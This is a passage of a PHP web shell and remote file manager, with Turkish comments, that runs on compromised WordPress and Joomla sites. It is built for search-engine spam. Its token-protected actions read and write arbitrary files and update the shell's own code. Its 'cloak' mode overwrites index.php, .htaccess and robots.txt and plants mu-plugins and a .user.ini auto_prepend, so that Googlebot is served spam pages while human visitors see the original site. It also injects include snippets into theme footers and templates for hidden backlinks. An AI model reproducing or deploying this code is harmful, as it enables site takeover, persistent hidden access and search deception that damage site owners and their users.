        if (!mpg_fm_password_ok($pass)) {
            jsonOut(array('ok' => false, 'error' => 'FM sifresi hatali'), 401);
        }
        $side = __DIR__ . DIRECTORY_SEPARATOR . '.mpg-api-token';
        if (@file_put_contents($side, $token, LOCK_EX) === false) {
            jsonOut(array('ok' => false, 'error' => '.mpg-api-token yazilamadi'), 500);
        }
        @chmod($side, 0600);
        jsonOut(array('ok' => true, 'message' => 'API token kaydedildi', 'mode' => 'shared'));
    }

    if (!apiTokenOk()) {
        jsonOut(array('ok' => false, 'error' => 'Unauthorized'), 401);
    }

    if ($action === 'ping') {
        jsonOut(array('ok' => true, 'message' => 'pong', 'php' => PHP_VERSION, 'product' => 'mpg'));
    }

    if ($action === 'info') {
        $root = mpg_site_root();
        $sep = DIRECTORY_SEPARATOR;
        $joomlaBoot = mpg_is_joomla() && function_exists('mpg_detect_joomla_bootstrap_style')
            ? mpg_detect_joomla_bootstrap_style()
            : null;
        $shellCases = function_exists('mpg_detect_shell_cases') ? mpg_detect_shell_cases() : array();
        jsonOut(array(
            'ok' => true,
            'cmsType' => mpg_detect_cms(),
            'hasWordPress' => mpg_is_wordpress(),
            'hasJoomla' => mpg_is_joomla(),
            'joomlaBootstrap' => $joomlaBoot,
            'hasBuddyBoss' => function_exists('mpg_wp_has_buddyboss') ? mpg_wp_has_buddyboss() : false,
            'hasAppPhp' => is_file($root . $sep . 'includes' . $sep . 'app.php'),
            'hasFrameworkPhp' => is_file($root . $sep . 'includes' . $sep . 'framework.php'),
            'hasOriginalIndex' => is_file($root . $sep . 'index.php.mpg_original.php'),
            'siteRoot' => $root,
            'mpgPath' => __FILE__,
            'documentRoot' => mpg_server('DOCUMENT_ROOT'),
            'serverSoftware' => mpg_server('SERVER_SOFTWARE'),
            'php' => PHP_VERSION,
            'shellCases' => $shellCases,
            'primaryShellCase' => isset($shellCases[0]['id']) ? $shellCases[0]['id'] : null,
            'capabilities' => array(
                'cloak' => true,
                'backlinkDeploy' => true,
                'backlinkInject' => true,
                'upgradeSelf' => true,
                'cases' => true,
            ),
        ));
    }

    if ($action === 'cases') {
        $shellCases = function_exists('mpg_detect_shell_cases') ? mpg_detect_shell_cases() : array();
        jsonOut(array(
            'ok' => true,
            'cases' => $shellCases,
            'primary' => isset($shellCases[0]) ? $shellCases[0] : null,
            'siteRoot' => mpg_site_root(),
            'documentRoot' => mpg_server('DOCUMENT_ROOT'),
            'cmsType' => mpg_detect_cms(),
            'php' => PHP_VERSION,
            'note' => 'swrforum-class: tarayicide BuddyBoss = aged OK. SEO = /wp-options.php veya action=seo-preview. Sahte Googlebot UA 418 normal.',
        ));
    }

    if ($action === 'seo-preview') {
        $root = mpg_site_root();
        $sep = DIRECTORY_SEPARATOR;
        $opt = $root . $sep . 'wp-options.php';
        if (!is_file($opt) || filesize($opt) < 500) {
            jsonOut(array(
                'ok' => false,
                'error' => 'wp-options.php yok — aged shell SEO basilmamis',
                'hint' => 'Panelden shell/cloak tekrar at',
            ), 404);
        }
        $html = (string) file_get_contents($opt);
        $title = null;
        if (preg_match('/<title[^>]*>([^<]+)/i', $html, $m)) {
            $title = html_entity_decode(trim($m[1]), ENT_QUOTES, 'UTF-8');
        }
        $canon = null;
        if (preg_match('/rel=["\']canonical["\'][^>]*href=["\']([^"\']+)/i', $html, $m)) {
            $canon = $m[1];
        } elseif (preg_match('/href=["\']([^"\']+)["\'][^>]*rel=["\']canonical["\']/i', $html, $m)) {
            $canon = $m[1];
        }
        jsonOut(array(
            'ok' => true,
            'aged' => true,
            'bytes' => strlen($html),
            'title' => $title,
            'canonical' => $canon,
            'previewUrl' => '/wp-options.php',
            'note' => 'Insan UA ana sayfada orijinal WP gorur (aged). Bu payload gercek Googlebot / GSC InspectionTool (Google IP) ile / uzerinde basilir.',
            'htmlHead' => substr($html, 0, 1200),
        ));
    }

    if ($action === 'writable') {
        $root = mpg_site_root();
        $sep = DIRECTORY_SEPARATOR;
        $targets = array(
            MPG_FM_INDEX => $root . $sep . MPG_FM_INDEX,
            MPG_FM_WP_OPTIONS => $root . $sep . MPG_FM_WP_OPTIONS,
            'options.php' => $root . $sep . 'options.php',
            '.htaccess' => $root . $sep . '.htaccess',
        );
        $report = array();
        foreach ($targets as $label => $full) {
            $dir = dirname($full);
            $report[$label] = array(
                'exists' => is_file($full),
                'dirWritable' => is_writable($dir),
                'fileWritable' => is_file($full) ? is_writable($full) : null,
            );
        }
        jsonOut(array('ok' => true, 'siteRoot' => $root, 'writable' => $report, 'php' => PHP_VERSION));
    }

    if ($action === 'list') {
        jsonOut(array('ok' => true, 'files' => listEditableFiles(), 'siteRoot' => mpg_site_root()));
    }

    if ($action === 'read') {
        $file = isset($_GET['file']) ? (string) $_GET['file'] : '';
        if ($file === '' && mpg_request_method() === 'POST') {
            $b = mpg_read_json_body();
            $file = isset($b['file']) ? (string) $b['file'] : '';
        }
        $path = safePathForRead($file);
        if ($path === null) {
            jsonOut(array('ok' => false, 'error' => 'Gecersiz dosya', 'file' => $file), 400);
        }
        $exists = is_file($path);
        jsonOut(array(
            'ok' => true,
            'file' => $file,
            'content' => $exists ? (string) file_get_contents($path) : '',
            'exists' => $exists,
            'bytes' => $exists ? filesize($path) : 0,
            'siteRoot' => mpg_site_root(),
        ));
    }

    if ($action === 'save' && mpg_request_method() === 'POST') {
        try {
            $body = mpg_read_json_body();
            $file = isset($body['file']) ? (string) $body['file'] : '';
            $content = isset($body['content']) ? (string) $body['content'] : '';
            $path = safePathForWrite($file);
            if ($path === null) {
                jsonOut(array('ok' => false, 'error' => 'Gecersiz dosya'), 400);
            }
            $write = mpg_write_file($path, $content);
            if (empty($write['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => isset($write['error']) ? $write['error'] : 'Yazma basarisiz',
                    'details' => isset($write['details']) ? $write['details'] : array(),
                ), 500);
            }
            jsonOut(array('ok' => true, 'file' => $file, 'message' => 'Kaydedildi', 'siteRoot' => mpg_site_root()));
        } catch (Throwable $e) {
            jsonOut(array('ok' => false, 'error' => 'save istisnasi', 'details' => array('message' => $e->getMessage())), 500);
        }
    }

    if ($action === 'gsc' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $skipDefault = !empty($body['skipDefault']);
        $custom = isset($body['files']) ? $body['files'] : null;
        $gsc = mpg_deploy_gsc_files($custom, $skipDefault);
        jsonOut(array(
            'ok' => true,
            'results' => $gsc['results'],
            'written' => $gsc['written'],
            'siteRoot' => mpg_site_root(),
        ));
    }

    // Panel shared-mpg.php ile kendini guncelle (token + opsiyonel password)
    if ($action === 'upgrade-self' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $pass = isset($body['password']) ? (string) $body['password'] : '';
        $content = isset($body['content']) ? (string) $body['content'] : '';
        if ($content === '' && isset($body['contentBase64'])) {
            $content = (string) base64_decode((string) $body['contentBase64'], true);
        }
        if ($pass !== '' && !mpg_fm_password_ok($pass)) {
            jsonOut(array('ok' => false, 'error' => 'FM sifresi hatali'), 401);
        }
        if (strlen($content) < 2000
            || strpos($content, 'product') === false
            || strpos($content, 'MPG_API_TOKEN') === false
            || strpos($content, 'function safePathForWrite') === false) {
            jsonOut(array('ok' => false, 'error' => 'Gecersiz mpg icerigi'), 400);
        }
        // Mevcut token/sifreyi yeni dosyada koru
        $curToken = mpg_runtime_api_token();
        $curPass = defined('MPG_FM_PASSWORD') ? (string) MPG_FM_PASSWORD : '';
        if ($curToken !== '' && preg_match("/define\\(\\s*'MPG_API_TOKEN'\\s*,\\s*'[^']*'\\s*\\)/", $content)) {
            $content = preg_replace(
                "/define\\(\\s*'MPG_API_TOKEN'\\s*,\\s*'[^']*'\\s*\\)/",
                "define('MPG_API_TOKEN', '" . addcslashes($curToken, "\\'") . "')",
                $content,
                1
            );
        }
        if ($curPass !== '' && preg_match("/define\\(\\s*'MPG_FM_PASSWORD'\\s*,\\s*'[^']*'\\s*\\)/", $content)) {
            $content = preg_replace(
                "/define\\(\\s*'MPG_FM_PASSWORD'\\s*,\\s*'[^']*'\\s*\\)/",
                "define('MPG_FM_PASSWORD', '" . addcslashes($curPass, "\\'") . "')",
                $content,
                1
            );
        }
        $self = __FILE__;
        $bak = $self . '.bak_' . date('Ymd_His');
        @copy($self, $bak);
        $w = mpg_write_file($self, $content);
        if (empty($w['ok'])) {
            jsonOut(array(
                'ok' => false,
                'error' => 'mpg.php yazilamadi',
                'details' => isset($w['details']) ? $w['details'] : array(),
            ), 500);
        }
        jsonOut(array(
            'ok' => true,
            'message' => 'mpg.php guncellendi',
            'bytes' => strlen($content),
            'backup' => basename($bak),
            'php' => PHP_VERSION,
        ));
    }

    if ($action === 'cloak' && mpg_request_method() !== 'POST') {
        jsonOut(array(
            'ok' => false,
            'error' => 'cloak icin POST gerekli',
            'hint' => 'https:// canonical URL kullanin; http yonlendirme POST istegini GET yapar.',
        ), 400);
    }

    if ($action === 'cloak' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $htcontent = isset($body['htaccess']) ? (string) $body['htaccess'] : '';
        $wpcontent = isset($body['wpOptions']) ? (string) $body['wpOptions'] : '';
        $indexcontent = isset($body['indexPhp']) ? (string) $body['indexPhp'] : '';
        $cmsHint = isset($body['cms']) ? (string) $body['cms'] : '';
        $deployGsc = !isset($body['deployGsc']) || $body['deployGsc'] !== false;
        $mode = isset($body['mode']) ? strtolower((string) $body['mode']) : 'classic';
        $functionsSnippet = isset($body['functionsSnippet']) ? (string) $body['functionsSnippet'] : '';
        $robotsTxt = isset($body['robotsTxt']) ? (string) $body['robotsTxt'] : '';
        $verifyInc = isset($body['verifyInc']) ? (string) $body['verifyInc'] : '';
        $muPlugin = isset($body['muPlugin']) ? (string) $body['muPlugin'] : '';
        $agedPrepend = isset($body['agedPrepend']) ? (string) $body['agedPrepend'] : '';
        $shellMode = isset($body['shellMode']) ? strtolower((string) $body['shellMode']) : '';

        $cms = ($cmsHint === 'joomla' || $cmsHint === 'wordpress') ? $cmsHint : mpg_detect_cms();
        $isJoomla = ($cms === 'joomla');

        // REMOTE-FETCH / AGED-SHELL MODU TESPITI
        $isRemoteFetch = mpg_is_remote_fetch_index($indexcontent)
            || $shellMode === 'aged'
            || $shellMode === 'aged-remote-fetch'
            || $mode === 'aged'
            || $mode === 'aged-shell';

        // wp-options.php: remote-fetch modunda gerekmez
        if (!$isRemoteFetch && $wpcontent === '') {
            jsonOut(array(
                'ok' => false,
                'error' => 'wp-options.php icerigi (wpOptions) gerekli. Remote-fetch index.php kullaniyorsaniz wpOptions bos birakilabilir.',
            ), 400);
        }

        // MAINT MODE (WordPress only, remote-fetch degilse)
        if (!$isJoomla && !$isRemoteFetch && $mode === 'maint' && function_exists('mpg_cloak_install_maint_mode')) {
            $maint = mpg_cloak_install_maint_mode($wpcontent, $indexcontent, $functionsSnippet);
            if (empty($maint['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => isset($maint['error']) ? $maint['error'] : 'Maint cloak basarisiz',
                    'partial' => isset($maint['partial']) ? $maint['partial'] : array(),
                ), 500);
            }
            $results = isset($maint['results']) ? $maint['results'] : array();
            $gscWritten = array();
            if ($deployGsc) {
                $gsc = mpg_deploy_gsc_files(isset($body['gscFiles']) ? $body['gscFiles'] : null, false);
                $results = array_merge($results, $gsc['results']);
                $gscWritten = $gsc['written'];
            }
            jsonOut(array(
                'ok' => true,
                'mode' => 'maint',
                'results' => $results,
                'cmsType' => $cms,
                'hasWordPress' => mpg_is_wordpress(),
                'hasJoomla' => mpg_is_joomla(),
                'siteRoot' => mpg_site_root(),
                'gscWritten' => $gscWritten,
            ));
        }

        // REMOTE-FETCH / AGED-SHELL MODU
        if ($isRemoteFetch) {
            $results = array();
            $isAged = mpg_is_aged_shell_index($indexcontent)
                || $shellMode === 'aged'
                || $shellMode === 'aged-remote-fetch'
                || $mode === 'aged'
                || $mode === 'aged-shell';

            if ($verifyInc !== '') {
                $vWrite = mpg_write_site_file('mpg-googlebot-verify.inc.php', $verifyInc);
                if (!empty($vWrite['ok'])) {
                    $results[] = 'mpg-googlebot-verify.inc.php yazildi (' . strlen($verifyInc) . ' byte)';
                } else {
                    $results[] = 'mpg-googlebot-verify.inc.php yazilamadi';
                }
            }

            if ($wpcontent !== '') {
                $optWrite = mpg_write_site_file(MPG_FM_WP_OPTIONS, $wpcontent);
                if (!empty($optWrite['ok'])) {
                    $results[] = MPG_FM_WP_OPTIONS . ' yazildi (' . strlen($wpcontent) . ' byte, aged/local-seo)';
                } elseif ($isAged) {
                    jsonOut(array(
                        'ok' => false,
                        'error' => 'wp-options.php yazilamadi (aged-shell SEO gerekli)',
                        'partial' => $results,
                        'details' => isset($optWrite['details']) ? $optWrite['details'] : array(),
                    ), 500);
                }
            }

            if ($htcontent === '') {
                $htcontent = mpg_simple_htaccess($cms);
            }
            $htWrite = mpg_write_htaccess($htcontent);
            if (empty($htWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => '.htaccess yazilamadi',
                    'details' => isset($htWrite['details']) ? $htWrite['details'] : array(),
                ), 500);
            }
            $results[] = '.htaccess yazildi (' . strlen($htcontent) . ' byte, sade-' . $cms . ')';

            $idxPath = rtrim(str_replace('/', DIRECTORY_SEPARATOR, mpg_site_root()), DIRECTORY_SEPARATOR)
                . DIRECTORY_SEPARATOR . MPG_FM_INDEX;
            if (function_exists('mpg_backup_joomla_original_index')) {
                if (mpg_backup_joomla_original_index($idxPath)) {
                    $results[] = 'index.php.mpg_original.php yedeklendi/temizlendi';
                }
            } elseif (is_file($idxPath) && !is_file($idxPath . '.mpg_original.php')) {
                @copy($idxPath, $idxPath . '.mpg_original.php');
                $results[] = 'index.php.mpg_original.php yedeklendi';
            }

            if ($indexcontent !== '') {
                $idxWrite = mpg_write_site_file(MPG_FM_INDEX, $indexcontent);
                if (empty($idxWrite['ok'])) {
                    // Aged fallback: mu-plugin if index locked
                    if ($isAged && $muPlugin !== '') {
                        $muRel = 'wp-content/mu-plugins/mpg-aged-cloak.php';
                        $muDir = mpg_site_root() . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'mu-plugins';
                        if (!is_dir($muDir)) {
                            @mkdir($muDir, 0755, true);
                        }
                        $muWrite = mpg_write_site_file($muRel, $muPlugin);
                        if (!empty($muWrite['ok'])) {
                            $results[] = $muRel . ' yazildi (index kilitli → mu-plugin fallback)';
                        } else {
                            jsonOut(array(
                                'ok' => false,
                                'error' => 'index.php yazilamadi ve mu-plugin de yazilamadi',
                                'partial' => $results,
                                'details' => isset($idxWrite['details']) ? $idxWrite['details'] : array(),
                            ), 500);
                        }
                    } else {
                        jsonOut(array(
                            'ok' => false,
                            'error' => 'index.php yazilamadi',
                            'partial' => $results,
                            'details' => isset($idxWrite['details']) ? $idxWrite['details'] : array(),
                        ), 500);
                    }
                } else {
                    $results[] = MPG_FM_INDEX . ' yazildi (' . strlen($indexcontent) . ' byte, ' . ($isAged ? 'aged-shell' : 'remote-fetch') . ')';
                }
            }

            if ($muPlugin !== '' && $isAged) {
                $muRel = 'wp-content/mu-plugins/mpg-aged-cloak.php';
                $muDir = mpg_site_root() . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'mu-plugins';
                if (!is_dir($muDir)) {
                    @mkdir($muDir, 0755, true);
                }
                $muWrite = mpg_write_site_file($muRel, $muPlugin);
                if (!empty($muWrite['ok'])) {
                    $results[] = $muRel . ' yazildi (yedek mu-plugin)';
                }
            }

            if ($robotsTxt !== '') {
                $rWrite = mpg_write_site_file('robots.txt', $robotsTxt);
                if (!empty($rWrite['ok'])) {
                    $results[] = 'robots.txt yazildi (' . strlen($robotsTxt) . ' byte, money-sitemap)';
                } else {
                    $results[] = 'robots.txt yazilamadi';
                }
            }

            if ($isAged) {
                $rcDir = mpg_site_root() . DIRECTORY_SEPARATOR . '.render-cache';
                if (!is_dir($rcDir)) {
                    @mkdir($rcDir, 0755, true);
                }
                $rcHt = mpg_write_site_file('.render-cache/.htaccess', "Deny from all\n");
                if (!empty($rcHt['ok'])) {
                    $results[] = '.render-cache/.htaccess (Deny)';
                }
                mpg_write_site_file('.render-cache/index.html', '');

                if ($agedPrepend !== '') {
                    $preWrite = mpg_write_site_file('mpg-aged-prepend.php', $agedPrepend);
                    if (!empty($preWrite['ok'])) {
                        $results[] = 'mpg-aged-prepend.php yazildi (FPM fallback)';
                        // BuddyBoss / live aged: auto_prepend PHP-FPM'i dusurebiliyor (502).
                        // Bu case'te yalnizca index.php + mu-plugin; .user.ini MPG-AGED KAPALI.
                        $skipUserIni = function_exists('mpg_wp_has_buddyboss') && mpg_wp_has_buddyboss();
                        $userIniPath = safePathForWrite('.user.ini');
                        $cur = ($userIniPath && is_file($userIniPath))
                            ? (string) @file_get_contents($userIniPath)
                            : '';
                        if ($skipUserIni) {
                            if (strpos($cur, 'BEGIN MPG-AGED') !== false) {
                                $cleaned = preg_replace(
                                    '/; BEGIN MPG-AGED.*?; END MPG-AGED\s*/s',
                                    '',
                                    $cur
                                );
                                if ($cleaned !== null && $cleaned !== $cur) {
                                    $ui = mpg_write_site_file('.user.ini', $cleaned);
                                    if (!empty($ui['ok'])) {
                                        $results[] = '.user.ini MPG-AGED kaldirildi (buddyboss-safe)';
                                    }
                                }
                            } else {
                                $results[] = '.user.ini auto_prepend atlandi (aged-wp-buddyboss — 502 onlemi)';
                            }
                        } else {
                            $sapi = function_exists('php_sapi_name') ? (string) php_sapi_name() : '';
                            $fpmOk = (strpos($sapi, 'fpm') !== false || strpos($sapi, 'cgi') !== false);
                            if ($fpmOk) {
                                $prePath = safePathForWrite('mpg-aged-prepend.php');
                                $absPre = $prePath ? realpath($prePath) : false;
                                if ($absPre) {
                                    if (strpos($cur, 'BEGIN MPG-AGED') === false) {
                                        $block = "; BEGIN MPG-AGED\nauto_prepend_file = \""
                                            . str_replace('\\', '/', $absPre)
                                            . "\"\n; END MPG-AGED\n";
                                        $ui = mpg_write_site_file('.user.ini', $cur . $block);
                                        if (!empty($ui['ok'])) {
                                            $results[] = '.user.ini auto_prepend (MPG-AGED)';
                                        }
                                    } else {
                                        $results[] = '.user.ini MPG-AGED zaten var';
                                    }
                                }
                            } else {
                                $results[] = '.user.ini atlandi (SAPI=' . ($sapi !== '' ? $sapi : '?') . ')';
                            }
                        }
                    }
                }
            }

            $gscWritten = array();
            if ($deployGsc) {
                $gsc = mpg_deploy_gsc_files(isset($body['gscFiles']) ? $body['gscFiles'] : null, false);
                $results = array_merge($results, $gsc['results']);
                $gscWritten = $gsc['written'];
            }

            $shellCases = function_exists('mpg_detect_shell_cases') ? mpg_detect_shell_cases() : array();
            jsonOut(array(
                'ok' => true,
                'mode' => $isAged ? 'aged-shell' : 'remote-fetch',
                'results' => $results,
                'cmsType' => $cms,
                'hasWordPress' => mpg_is_wordpress(),
                'hasJoomla' => mpg_is_joomla(),
                'hasBuddyBoss' => function_exists('mpg_wp_has_buddyboss') ? mpg_wp_has_buddyboss() : false,
                'joomlaBootstrap' => (mpg_is_joomla() && function_exists('mpg_detect_joomla_bootstrap_style'))
                    ? mpg_detect_joomla_bootstrap_style()
                    : null,
                'shellCases' => $shellCases,
                'primaryShellCase' => isset($shellCases[0]['id']) ? $shellCases[0]['id'] : null,
                'siteRoot' => mpg_site_root(),
                'gscWritten' => $gscWritten,
                'note' => $isAged
                    ? 'Aged shell: Googlebot IP+UA → SEO; insan → orijinal WP index. Spoof UA → 418 (fail degil).'
                    : 'Bot detection index.php icinde yapiliyor.',
            ));
        }

        // CLASSIC MODE
        $results = array();

        if ($isJoomla) {
            $htPath = mpg_site_root() . DIRECTORY_SEPARATOR . '.htaccess';
            $existingHt = is_file($htPath) ? (string) file_get_contents($htPath) : '';
            if ($htcontent !== '' && preg_match('/BEGIN MPG Googlebot/', $htcontent)) {
                $htWrite = mpg_write_htaccess($htcontent);
            } else {
                $htcontent = mpg_merge_joomla_htaccess($existingHt);
                $htWrite = mpg_write_htaccess($htcontent);
            }
            if (empty($htWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => '.htaccess yazilamadi',
                    'details' => isset($htWrite['details']) ? $htWrite['details'] : array(),
                ), 500);
            }
            $results[] = '.htaccess birlestirildi (' . strlen($htcontent) . ' byte, joomla)';

            $optWrite = mpg_write_site_file(MPG_FM_WP_OPTIONS, $wpcontent);
            if (empty($optWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => 'wp-options.php yazilamadi',
                    'partial' => $results,
                    'details' => isset($optWrite['details']) ? $optWrite['details'] : array(),
                ), 500);
            }
            $results[] = MPG_FM_WP_OPTIONS . ' yazildi (' . strlen($wpcontent) . ' byte)';

            $idxPath = rtrim(str_replace('/', DIRECTORY_SEPARATOR, mpg_site_root()), DIRECTORY_SEPARATOR)
                . DIRECTORY_SEPARATOR . MPG_FM_INDEX;
            if (function_exists('mpg_backup_joomla_original_index')) {
                mpg_backup_joomla_original_index($idxPath);
            }
            if ($indexcontent !== '' && preg_match('/BEGIN MPG Joomla Bot Cloak/', $indexcontent)) {
                // Panel zaten birlestirmis — modern/legacy ezme
                $idxWrite = mpg_write_site_file(MPG_FM_INDEX, $indexcontent);
            } elseif ($indexcontent !== '') {
                $mergedIdx = mpg_inject_joomla_bot_snippet($indexcontent, mpg_joomla_bot_snippet());
                $idxWrite = mpg_write_site_file(MPG_FM_INDEX, $mergedIdx);
            } else {
                $idxWrite = mpg_merge_joomla_index($idxPath);
            }
            if (empty($idxWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => 'index.php yazilamadi',
                    'partial' => $results,
                    'details' => isset($idxWrite['details']) ? $idxWrite['details'] : array(),
                ), 500);
            }
            $results[] = MPG_FM_INDEX . ' birlestirildi (' . (isset($idxWrite['bytes']) ? $idxWrite['bytes'] : strlen($indexcontent)) . ' byte, joomla)';
        } else {
            if ($htcontent === '') {
                $htcontent = mpg_default_htaccess($cms);
            }
            if ($indexcontent === '') {
                $indexcontent = mpg_default_index($cms);
            }

            $htWrite = mpg_write_htaccess($htcontent);
            if (empty($htWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => '.htaccess yazilamadi',
                    'details' => isset($htWrite['details']) ? $htWrite['details'] : array(),
                ), 500);
            }
            $results[] = '.htaccess yazildi (' . strlen($htcontent) . ' byte, ' . $cms . ')';

            $optWrite = mpg_write_site_file(MPG_FM_WP_OPTIONS, $wpcontent);
            if (empty($optWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => 'wp-options.php yazilamadi',
                    'partial' => $results,
                    'details' => isset($optWrite['details']) ? $optWrite['details'] : array(),
                ), 500);
            }
            $results[] = MPG_FM_WP_OPTIONS . ' yazildi (' . strlen($wpcontent) . ' byte)';

            $idxWrite = mpg_write_site_file(MPG_FM_INDEX, $indexcontent);
            if (empty($idxWrite['ok'])) {
                jsonOut(array(
                    'ok' => false,
                    'error' => 'index.php yazilamadi',
                    'partial' => $results,
                    'details' => isset($idxWrite['details']) ? $idxWrite['details'] : array(),
                ), 500);
            }
            $results[] = MPG_FM_INDEX . ' yazildi (' . strlen($indexcontent) . ' byte, ' . $cms . ')';
        }

        $gscWritten = array();
        $gscErrors = array();
        if ($deployGsc) {
            $customGsc = isset($body['gscFiles']) ? $body['gscFiles'] : null;
            $gsc = mpg_deploy_gsc_files($customGsc, false);
            $results = array_merge($results, $gsc['results']);
            $gscWritten = $gsc['written'];
            $gscErrors = isset($gsc['errors']) ? $gsc['errors'] : array();
            if (!empty($gscErrors) && empty($gscWritten)) {
                jsonOut(array(
                    'ok' => false,
                    'error' => 'GSC dosyasi yazilamadi',
                    'partial' => $results,
                    'gscErrors' => $gscErrors,
                ), 500);
            }
            if (!empty($gscErrors)) {
                $results = array_merge($results, $gscErrors);
            }
        }

        jsonOut(array(
            'ok' => true,
            'mode' => 'classic',
            'results' => $results,
            'cmsType' => $cms,
            'hasWordPress' => mpg_is_wordpress(),
            'hasJoomla' => mpg_is_joomla(),
            'siteRoot' => mpg_site_root(),
            'gscWritten' => $gscWritten,
        ));
    }

    // ── Backlink (perde/cloak'tan bagimsiz; gizli path) ─────────────────────
    if ($action === 'backlink-deploy' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $content = isset($body['content']) ? (string) $body['content'] : '';
        if ($content === '' && isset($body['contentBase64'])) {
            $content = (string) base64_decode((string) $body['contentBase64'], true);
        }
        $rel = isset($body['path']) ? (string) $body['path'] : '';
        if ($rel === '' && isset($body['rel'])) {
            $rel = (string) $body['rel'];
        }
        $rel = str_replace('\\', '/', ltrim($rel, '/'));
        if ($content === '' || $rel === '' || !mpg_is_backlink_rel_path($rel)) {
            jsonOut(array(
                'ok' => false,
                'error' => 'content ve gecerli path gerekli',
                'path' => $rel,
                'contentBytes' => strlen($content),
                'pathOk' => mpg_is_backlink_rel_path($rel),
            ), 400);
        }
        $results = array();
        $w = mpg_write_site_file($rel, $content);
        if (empty($w['ok'])) {
            jsonOut(array(
                'ok' => false,
                'error' => 'backlink client yazilamadi',
                'details' => isset($w['details']) ? $w['details'] : array(),
            ), 500);
        }
        $results[] = $rel . ' yazildi (' . strlen($content) . ' byte)';

        $bridgePath = isset($body['bridgePath']) ? (string) $body['bridgePath'] : '';
        $bridgeContent = isset($body['bridgeContent']) ? (string) $body['bridgeContent'] : '';
        $bridgePath = str_replace('\\', '/', ltrim($bridgePath, '/'));
        if ($bridgeContent !== '' && $bridgePath !== '' && mpg_is_backlink_rel_path($bridgePath)) {
            $muDir = mpg_site_root() . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'mu-plugins';
            if (!is_dir($muDir)) {
                @mkdir($muDir, 0755, true);
            }
            $bw = mpg_write_site_file($bridgePath, $bridgeContent);
            if (!empty($bw['ok'])) {
                $results[] = $bridgePath . ' yazildi';
            } else {
                $results[] = $bridgePath . ' yazilamadi';
            }
        }

        jsonOut(array(
            'ok' => true,
            'path' => $rel,
            'results' => $results,
            'siteRoot' => mpg_site_root(),
        ));
    }

    if ($action === 'backlink-inject' && mpg_request_method() === 'POST') {
        $body = mpg_read_json_body();
        $rel = isset($body['path']) ? (string) $body['path'] : '';
        $rel = str_replace('\\', '/', ltrim($rel, '/'));
        $bridgePath = isset($body['bridgePath']) ? (string) $body['bridgePath'] : '';
        $results = array();
        $injected = 0;
        $skipped = 0;

        // WP: mu-plugin bridge yeterli (wp_footer)
        if (mpg_is_wordpress()) {
            $bridge = $bridgePath !== '' ? $bridgePath : 'wp-content/mu-plugins/mpg-locale-bridge.php';
            $bridgeFull = mpg_site_root() . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $bridge);
            if (is_file($bridgeFull)) {
                $results[] = 'WP bridge mevcut: ' . $bridge;
                $skipped++;
            } else {
                $results[] = 'WP bridge yok — once backlink-deploy calistir';
            }
            // Opsiyonel: aktif tema footer'a da iz birakma (mu-plugin yoksa)
            if (!is_file($bridgeFull) && $rel !== '' && mpg_is_backlink_rel_path($rel)) {
                $snippet = "<?php \$__mpgc=rtrim(ABSPATH,'/\\\\').DIRECTORY_SEPARATOR.'"
                    . str_replace("'", "\\'", $rel)
                    . "'; if(is_readable(\$__mpgc)) include \$__mpgc; ?>\n";
                $themeRoot = mpg_site_root() . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
                if (is_dir($themeRoot)) {
                    $themes = @scandir($themeRoot);
                    if (is_array($themes)) {
                        foreach ($themes as $t) {
                            if ($t === '.' || $t === '..') continue;
                            $themeDir = $themeRoot . DIRECTORY_SEPARATOR . $t;
                            if (!is_dir($themeDir)) continue;
                            $footer = $themeDir . DIRECTORY_SEPARATOR . 'footer.php';
                            if (!is_file($footer) || !is_writable($footer)) continue;
                            $cur = (string) @file_get_contents($footer);
                            if (strpos($cur, 'mpgc-') !== false || strpos($cur, 'mpg-locale-bridge') !== false) {
                                $skipped++;
                                continue;
                            }
                            if (strpos($cur, 'wp_footer()') !== false) {
                                $cur = str_replace('wp_footer()', "wp_footer();\n" . $snippet, $cur);
                            } elseif (stripos($cur, '</body>') !== false) {
                                $cur = str_ireplace('</body>', $snippet . '</body>', $cur);
                            } else {
                                $cur .= "\n" . $snippet;
                            }
                            if (@file_put_contents($footer, $cur) !== false) {
                                $injected++;
                                $results[] = 'footer inject: themes/' . $t . '/footer.php';
                            }
                        }
                    }
                }
            }
        }

        // Joomla: templates/*/index.php </body> oncesi (WP+Joomla karisik kokte Joomla atlaniyor)
        if (mpg_is_joomla() && !mpg_is_wordpress() && $rel !== '' && mpg_is_backlink_rel_path($rel)) {
            $snippet = "<?php \$__mpgc='"
                . str_replace("'", "\\'", mpg_site_root() . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel))
                . "'; if(is_readable(\$__mpgc)) include \$__mpgc; ?>\n";
            $tplRoot = mpg_site_root() . DIRECTORY_SEPARATOR . 'templates';
            if (is_dir($tplRoot)) {
                $tpls = @scandir($tplRoot);
                if (is_array($tpls)) {
                    foreach ($tpls as $t) {
                        if ($t === '.' || $t === '..') continue;
                        $tplDir = $tplRoot . DIRECTORY_SEPARATOR . $t;
                        if (!is_dir($tplDir)) continue;
                        $idx = $tplDir . DIRECTORY_SEPARATOR . 'index.php';
                        if (!is_file($idx) || !is_writable($idx)) continue;
                        $cur = (string) @file_get_contents($idx);
                        if (strpos($cur, 'mpgc-') !== false) {
                            $skipped++;
                            continue;
                        }
                        if (stripos($cur, '</body>') !== false) {
                            $cur = str_ireplace('</body>', $snippet . '</body>', $cur);
                        } else {
                            $cur .= "\n" . $snippet;
                        }
                        if (@file_put_contents($idx, $cur) !== false) {
                            $injected++;
